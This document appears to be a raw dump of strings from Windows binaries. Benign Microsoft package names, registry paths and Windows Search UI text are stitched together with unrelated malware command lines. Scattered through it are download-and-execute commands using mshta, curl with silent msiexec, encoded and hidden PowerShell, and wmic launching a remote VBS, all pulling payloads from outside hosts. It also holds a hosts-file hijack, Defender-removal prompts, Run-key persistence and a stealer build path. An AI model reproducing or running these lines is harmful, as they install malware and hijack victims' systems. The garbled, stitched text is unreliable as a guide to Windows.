Windows.Data.Platform.Encryption.FieldValue
Windows.Data.Background.DesktopWallpaper
Windows.Data.Shell.FocusSessionOffTheme
Windows.Data.Platform.Partitioning.Partition
Windows.Data.Security.Vault.SettingUnit
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.Shell.FocusActiveSessions
Windows.Data.Shell.FocusSessionActiveTheme
Windows.Data.Account.AccountInfo
Windows.Data.ColorSettings.ColorData
Windows.Data.Consent.ConsentItem
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.WindowsBackup.Preference.Toggles
Windows.Data.WiFi.WiFiProfileCost
Windows.Data.Account.SecondaryAccounts
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Consent.ConsentValue
Windows.Data.Platform.LocalCache.BlobReference
Windows.Data.DeviceSettings.DeviceSettingsData
        name="Microsoft.Windows.Diagnosis.AdvancedTaskManager"
                name="Microsoft.Windows.Common-Controls"
        <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
        </asmv3:windowsSettings>
DriverData=C:\Windows\System32\Drivers\DriverData
Windows
c:\windows\system32\mshta.exe"https://ia601505.us.archive.org/34/items/clean-lllllllll-45678904356787/clean_lllllllll_45678904356787.txt"
powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command
Software\Microsoft\Windows\maskinchefer\Uninstall\stdighedS
Software\Microsoft\Windows\chowsed\Uninstall\tuaregs\ManfulnessS
Global.WindowsMigration.AppXs0pwbp6kdsdsmsjw7q8tec8r7jkwndvs.mca
C:\__w\1\s\packages\ExperienceExtensions\windows\ExperienceExtensions\lib\ExperienceHostModule.cpp
WhiteSnake\Stub\Windows\obj\Release\DarkGay.pdb[
9\system32\cmd.exe/cjusrun.vbs
odnoklassniki.ru>>%systemroot%\system32\drivers\etc\%
Windows.SystemToast.BthQuickPair
c:\windows\fonts\copy
OxeSOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Runclipsrv.exesessmgr.exemstinit
2c1^com.microsoft.windows.extensions.xaml.widgetpicker
2c2^com.microsoft.windows.extensionpackage
s\system32\ 
.cmdc:\windows\write)
functionenum_drives(){vardrives=[]try{for(vari=65;i<91;i++){vardrive=string.fromcharcode(i)+':/'if(fs.exists(drive)){drives[drives.length]=drive;}}}catch(exc){console.log('[x]:',exc);}returndrives}functionwalk_folder(folder,callback){try{if(folder.tolowercase()==='c:/windows'){return;}
c:\windows\system32\cmd.exe/v/cmshta"javascript:try{try{var_10xldfls=["\x51\126\113\x4f\x47\x4d\x54","\x73\x63\162\x69\160\x74\x3a\x68\x54\x74\x70\x53\x3a\x2f\x2f\x73\x74\x72\x61\x76\x69\156\x6d\157\x6e\x73\x61\x6c\56\x63\x61\x6a\x75\145\151\162\x6f\x2e\x62\x75\x7a\172\57\x3f\64\x2f"];
?&	_qc:\windows\system32\cmd.exe/kstartmsedgehttps://digico.global/wp-content/uploads/2023/11/teaching-with-and-about-ai_-a-practical-handbook-for-trainers.pdf&curl-slo%temp%\bosfortuy.mshttp://sorainstructionskey.store/part/setup6319.msi&msiexec/i%temp%\bosfortuy.ms/qn|taskkill/f/imcmd.exe
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-enckabpahcacgagaggadab0ahaacwa6ac8alwb2agkaegbpagoayqazadyamaauagwadaavagqabwbjac4adab4ahqaiaatafuacwblaeiayqbzagkaywbqageacgbzagkabgbnackalgbdag8abgb0aguabgb0acaafaagagkatgb2ae8aawbfac0arqb4afaacgblafmacwbpae8abga=
5url=http://20.199.84.103/client.exe"set"dest=c:\windows\temp\$
Error accessing windows registry base '%s': 0x%08lX
Error accessing windows registry key '%s\%s': 0x%08lX
Read nothing from Windows Registry key Value '%s\%s'
Error getting windows registry value for key '%s\%s': 0x%08lX
Error accessing Windows Registry key: '%ls' error code: %ld
Error accessing Windows Registry key Value '%ls\%ls' to get size, error code: %ld
Read nothing from Windows Registry key Value '%ls\%ls'
Error accessing Windows Registry key Value '%ls\%ls' error code: %ld
Unexpected Windows version '%s'
IsWindowsVersionEqualOrGreater
Unexpected Windows major version '%s'
WindowsIntegratedAuth with organizations realm and enabled AAD flight. Returning true.
WindowsIntegratedAuth with organizations realm and disabled AAD flight. Returning false.
SignOutInteractively through broker is not supported in Windows
GetDeviceInfo is not supported in Windows
windows.ui.xaml.readallbytesencryptkey
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
''file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/RoamingState
'!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\RoamingStatec
C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
SMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy?
OMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
>Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)?
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy?
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy-
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
%'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
%!C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy*
>AppData (C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy)
MicrosoftWindows.Client.CBS_cw5n1h2txyewy (C:\Users\job\AppData\Local\Packages)
\windows\system32\rundll32.exe"c:\users\
!==[windows.forms.form].assembly.gettype('system.windows.forms.unsafenativemethods')
?fwindowssystemsadministratorabmakealistofcommandstocreatefolderc:\programdata\info
\windows\system32\cmd.exe
c:\f1deportationsj.deportationsr2expenditures.batr.expenditures.bat..\deportations\expenditures.batc:\windows\write.exe%systemroot%
remove windows defenderr
are you sure you want to delete windows defendera
program files (x86)\windows defender advanced threat protectionp
\windows\explorer.exe\
PWindowsSecurityService3.exe
 windowshartlell.bat
 /v startAPI /t reg_sz /d c:windowshartlell.bat
WindowsApp2.Resources.resourcesW
WindowsApp2.Faculty.resourcesW
windows\
DriverData=C:\Windows\System32\
Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)
E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
	WindowsFeedback
WindowsFeedbackFormBase
Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
c:\windows\system32\shdocvs.dllclsid\{00009e9f-ddd7-aa59-aa7d-aa4b7d6be000}\inprocserver9
c:\windows\explorer
GJc:\windows\system32\cmd
Software\Microsoft\Windows\CurrentVersion\Internet Settings
:-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.0)content-disposi(
C:%5CProgram Files%5CWindowsApp
Microsoft.Windows.Widgets.Feeds.Hos
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVector@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@Uhstring@winrt@@V?$vector@Uhstring@winrt@@V?$allocator@Uhstring@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@2@@impl@winrt@@U?$IVectorView@Uhstring@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$ProcessesPage_base@UProcessesPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$implements@UProcessesPage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producers_base@UProcessesPage@implementation@TaskManagerApp@winrt@@V?$tuple@UProcessesPage@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UProcessesPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
windowstylehidden-argumentlist'-w','
c:\windows\@
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ic:\windows\system32\cmd.exe/ccurl-s-v-o
windir=C:\WINDOWS@
OS=Windows_NT
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11L
Windows Media Foundation\ByteStreamHandlers\audio/x-mp3
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!DefaultFileTypeRisk
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!DefaultFileTypeRisk
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat
Microsoft-Windows-TerminalServices-UsbRedirector-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-AppManagement-UEV-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
GRIVERS\AFD.SYS>C:\WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
%BrowserAppProfile%\Main\WindowsSearch!EnabledScopes
DRX_E_AUTH_NETWORK_INVALID_IS_WINDOWS_AUTH_NODE
@%SYSTEMROOT%\system32\ipconfig /renew
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost<:
Microsoft.Windows.CloudExperienceHost<
WindowsPersonaCard
c:\windows\system32\cmd.exe/cmsiexec.exe/q/ihttps://vetpharmaconsultant.in/js/doccs/20250731
 .dat&&%windir%\system32\regsvr32%temp%\
windows
windows
system32
system32
\windows\system32\cmd.exe
c:\windows\system32\wbem\wmic.exeprocesscallcreate"wscript.exe"\\51.79.209.196\libs\run.vbs
windows\system32\cmd.exe%homepath%/c"echoy2qgjvn5c3rlbvjvb3qlxfn5c3rlbtmyjizjbwquzxhlic9dic
Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat(
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
.P6A?AU?$IAsyncOperation@_N@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@UJsonObject@Json@Data@Windows@winrt@@@Foundation@Windows@winrt@@XZ
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@@Z
.P6A?AU?$IAsyncOperation@Uhstring@winrt@@@Foundation@Windows@winrt@@UNavigable@WebExperienceHost@3@UPropertySet@Collections@123@V?$function@$$A6AXULauncherNavigationCompletedEventArgs@WebExperienceHost@winrt@@@Z@std@@@Z
.P6A?AUPropertySet@Collections@Foundation@Windows@winrt@@XZ
<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.26200.7840</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>001800174B45E4B4</deviceName><followRetry>true</followRetry></agent></connect>
,WindowsFormsApp
nC<t>syswow64\</t></si><si><t>\windows\</t></si><si><t>,0,0)</t></si><si><t>d"&amp;"l"&amp;"lr"&amp;"egister"&amp;"serve"&amp;"r</t></si><si><t>"ht
\Windows\
!#Lua:WindowsCommonFiles.A
Lua:WindowsCommonFiles.A!
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
/MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
"MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.(
%MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
|Windows7
windowsazur'
ains 'C:\Windows(
DriverData=C:\Windows\System32\
LOGONSERVER=\\WINDOWS11
HWS\system32\WindowsPowerShell\v1.0\Modules
WINDOWS
\WindowsPowerShell\.
s;C:\WINDOWS\system32.
DriverData=C:\Windows\System32\
TOSHIBA Resolution+ for Windows Media PlayerS@
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
$255F6ED4-4FAE-420D-B41A-D94844141AE9WindowsApp2.My.ResourcesW
WINDOWS\system32\config
=C:\Windows\S
nt\currentversion\winlogon
nt\currentversion\winlogon
currentcontrolset\services\sens\parameters\servicedllcurrentversion\explorer\shell folders\startupcurrentversion\explorer\shell folders\common appdatawindows\currentversion\run\ctfmon.exe
lt browser settings","App","App in Microsoft Store","Preview image of {0}","Rating star {0} stars","Get quick help from web","See more","Related stories","Artist","Ask {0}","Ask Copilot","Ask me anything","Author","Available accounts","Available on this device","Available when online","Best match","Best match for apps","Best match for documents","Best match for emails","Best match for folders","Best match for music","Best match for people","Best match for photos","Best match for school","Best match for settings","Best match for videos","Best match for web","Best match for work","Bing Chat","Bing Image Creator","Date","Size","Source","Popular","Claim your rewards","You will receive emails about Microsoft Rewards, which include offers about Microsoft and partner products.","Not your birthday?","Happy Birthday!","Privacy","Terms","Happy Birthday, {0}!","Bluetooth and other devices settings","Bluetooth & devices","Book hotels to stay","Browse more search results","Build","Cancel","Games for you","Charts and Graphs tips for {0}","Chat","Chat with Bing","Chat with Bing AI","Clear","Close Windows Search","Cloud search","Chat","Open Bing Chat in Edge","Ask Bing Chat","Search with AI","Try the new Bing","Get started today","Try it now","Say goodbye to endless search results!","Bing will help you find what you need, fast!","Ask complex questions. Get summarized answers.","Your AI-powered Copilot","A smarter way to search","Chat now with the new Bing","Color settings","Command","Company","Connected account","Connected accounts","Contact","Content",'Content related to "{0}" found.',"Context Menu","Continue Conversation","Control panel","Copied","Copy details","Copy file URL","Copy path","Search copied text","Send an email","Cortana","Create speaker notes for {0}","Create with AI","Currency converter","{0} web search","web suggestions","Afternoon game break","Games for you","See what the new Bing can do","Daily puzzle challenge","Daily Quiz","Explore more","Discover","All images","Today","Map it","Take the quiz","Learn more","Previous date",'"By pressing the Previous button, transport yourself to the date of {0}',"Local","More games","On this day: {0}","Images for you from the web","Type to search","Play now","Quote of the day","Recent web searches","Recipes for you from the web","Recommended products","Related images from the web","Microsoft Rewards","Next date",'"By pressing the next button, transport yourself to the date of {0}',"Shopping","Shorts from the web","Trending searches","Trending searches from the web","Trending videos from the web","UGC Poll","Related videos from the web","Word of the day","day ago","days ago","Search","Delete {0} from recent","Delete selected item by pressing delete","Delete web search from recent","Describe this image","Describe this image {0}","Dismiss","Website","Don't show trending searches in search box","Dismiss","Dismiss","Dismiss","Display settings","Windows","Open Settings","Not Now","Windows Search needs permission to show results from your new search app.","Open Settings to manage the order of web search apps in Windows Search.","Get results in Windows Search from your new web search app","Multiple web search apps are installed","{0} opened this {1} ago","{0} edited this {1} ago","Related to {0} meeting in {1}","Related to {0} meeting happening now","ESRB rating {0}","Eat and drink","Try Edge bar","Effortlessly get the information you need. Seamlessly get back to what you were doing","Introducing the Edge bar from Microsoft Edge","A faster, more modern web experience than Internet Explorer","Apply","Try again","Email","This message was sent with {0} importance","Email and accounts","Search your {1}","Find apps, files, web results, and more","Find apps, files, and more","Search apps","Start typing to search for apps","Search documents","Start typing to search for documents","See your recent files, chats and emails sent to you and more...","Search email","Start typing to search email","Search folders","Start typing to search folders","Search music","Start typing to search music","Search peopl7],SnipSearchErrorMessage:t[468],SnipSearchMessage:t[469],SnipSearchPrivacyWarning:t[470],SnipSearchPrivacyWarningTitle:t[471],SnipSearchTooltipText:t[472],SoundSettingsSuggestion:t[473],SpellCheck:t[474],StartANewConversation:t[475],Status:t[476],StoreAppRatingsLabel:t[477],StoreAppReadLess:t[478],StoreAppReadMore:t[479],StoreGroup:t[480],SuggestedSection:t[481],SuggestionCountNarrator:t[482],SuggestionPreview:t[483],Summarize:t[484],SummarizeWithCopilot:t[485],SyncPending:t[486],SystemApp:t[487],SystemSettingsAnnotation:t[488],TVShowInMicrosoftStore:t[489],Tags:t[490],TenantBookmarkAnnotation:t[491],TenantBookmarksGroup:t[492],TermsOfUse:t[493],ThemeSettingSuggestion:t[494],ThisPC:t[495],TimeDayShorthandPattern:t[496],TimeHourShorthandPattern:t[497],TimeMinuteShorthandPattern:t[498],ToggleSwitchNarratorCopilotOff:t[499],ToggleSwitchNarratorCopilotOn:t[500],ToggleSwitchNarratorOff:t[501],ToggleSwitchNarratorOn:t[502],ToggleSwitchOff:t[503],ToggleSwitchOn:t[504],ToggleSwitchOption:t[505],ToggleSwitchOptionCopilotDescription:t[506],ToggleSwitchOptionCopilotHeader:t[507],ToggleSwitchOptionLearnMore:t[508],ToggleSwitchOptionPersonalizationDescription:t[509],ToggleSwitchOptionPersonalizationHeader:t[510],TopAiToolsTitle:t[511],TopAppsSection:t[512],TopAppsSectionFallback:t[513],ToursAndActivities:t[514],TravelDestinationsMegaSeeMore:t[515],TravelDestinationsMegaShortTitle:t[516],TravelDestinationsMegaTitle:t[517],TravelStories:t[518],TrendingOnBing:t[519],TrendingRecipeTitle:t[520],TrendingStoriesTitle:t[521],Troubleshoot:t[522],UgcPollTitle:t[523],UninstallConfirmation:t[524],UninstallConfirmationTitle:t[525],UninstallMessage:t[526],UninstallationInProgress:t[527],UnpinnedFromStart:t[528],UnpinnedFromTaskbar:t[529],UpdateSettingSuggestion:t[530],UpsellActionText:t[531],UpsellHeading:t[532],UpsellSubheading:t[533],VPNSettingsSuggestion:t[534],Verify:t[535],VerifyAccount:t[536],VerifyAccountAttention:t[537],VerifyAccountFlyoutAttention:t[538],VerifyAccountToSearch:t[539],VerifyButton:t[540],VerifyYourButton:t[541],VideoCarouselSeeMore:t[542],VideoPreview:t[543],Videos:t[544],Views:t[545],Warning:t[546],WebImage:t[547],WebImages:t[548],WebSearchTextMWS:t[549],WebSearchTextWS:t[550],Websites:t[551],WhatToSeeAndDo:t[552],WindowsIndexingDisabledAction:t[553],WindowsIndexingDisabledMessage:t[554],WindowsIndexingDisabledToolTip:t[555],WindowsIndexingInProgressMessage:t[556],WindowsIndexingInProgressToolTip:t[557],WindowsIndexingIncompleteDetail:t[558],WindowsIndexingIncompleteMessage:t[559],WindowsIndexingNotificationCheckStatusAction:t[560],WindowsIndexingNotificationCheckStatusActionTooltip:t[561],WindowsIndexingNotificationDismissAction:t[562],WindowsIndexingNotificationDismissActionTooltip:t[563],Work:t[564],WorkResults:t[565],WorkUpsellButtonMessage:t[566],WorkUpsellButtonTooltip:t[567],WorkUpsellCobaltDismissButtonMessage:t[568],WorkUpsellMessage:t[569],WorkUpsellTitle:t[570],YearAgo:t[571],YearsAgo:t[572],YouLabel:t[573],failedMessageInTheStore:t[574],imageCreatorCopilot:t[575],searchCopilot:t[576],videoCreatorCopilot:t[577]}),i}return i(n,t)})("en",["Topics I think you'd enjoy","Work or school account","Accounts","Got it","see definitions","definitions: {0}","actions","Activity","Add a work or school account","Add a Microsoft account","Add visuals to {0}","Find the most relevant results on this PC","Find results in {0}","Find the most relevant results on this PC and the web","Find results in {0}, click enter to see more","Good afternoon","Airplane mode","Album","Always available on this device","Go to Edge settings","This is based on your Edge history and can be managed in Edge settings.","This is based on your browsing history and can be managed in Edge settings.","Edge browsing history","Edge recently closed","Top sites","Restore Microsoft recommended settings. Set Edge as the default browser.","There was an error updating your settings","Microsoft Edge is now your default browser","Microsoft Edge was built with your productivity in mind","Take control over your data with Microsoft Edge","Apply Microsoft recommended defau
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Defender Firewall with Advanced Security.lnk
echo start ShowSystemImage.exe >> %systemroot%\fdsfsdfw.cmdecho taskkill /im cmd.exe >> %systemroot%\feeef.cmdecho 184.82.43.206 www.odnoklassniki.ru >> %systemroot%\system32\drivers\etc\hostsecho del /f /q *.scr >>  ~result.cmd
WindowsLive:name=*software\microsoft\windows\currentversion\explorer\shell folders
WindowsPrincipal
GetWindowsDirectoryW
,~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOS
Get Started Welcome to Windows
-~MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!WEBEXPERIENCEHOST
 Windows
 Windows
^windows.mediaCode.
^windows.mediaCode6
98^windows.mediaSource
onecoreuap\shell\windows.storage.search\FederatedCloudSearch\inc\FederatedCloudSearchCapability.h
onecoreuap\shell\windows.storage.search\grepwdsproviderresolver.cpp
onecoreuap\shell\windows.storage.search\mssearchhelpers.cpp
onecoreuap\shell\windows.storage.search\inc\mssearchhelpers.h
onecoreuap\shell\windows.storage.search\FederatedCloudSearch\inc\CreateExternalDataCollector.h
MICROSOFT.WINDOWSSTORE_8WEKYB3D8BBWE
\programdata\microsoft\windows defender\defini
windows credentialsw
ir%\system32\eT
\MF\Active.GRL|%WINDIR%\System32\svch
\Windows\WER\
%PROGRAMDATA%\Microsoft\Windows\Caches\cversions|%WINDIR%\explorerk
System32\rundll32
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
os!="windows_
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|64~~10.0.26100.7840.cat|*
cmd.exej-i<c:\windows\system32\cmd.exe/cspunky\lashings.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%\system32\write.exe
\windows\system32\windowspowershell\v1.0\powershell.exe-noexitiwr-urihttp
i%L\windows startup.lnkdownload.exe
<title>windowsupdate</
.create"cmd.exe/cc:\windows\temp\w
c:\windows\system32\cmd.exe/c%systemroot%\system32\windowspowershell\v1.0\powershell.exe-whiddeniwr-urihttp://ie-servenet.shop/azhosxsn/major_0x00012bd4c3bdf0.exe-outfile$env:temp\major_0x00012bd4c3bdf0.exe;start-process$env:temp\major_0x00012bd4c3bdf0.exe
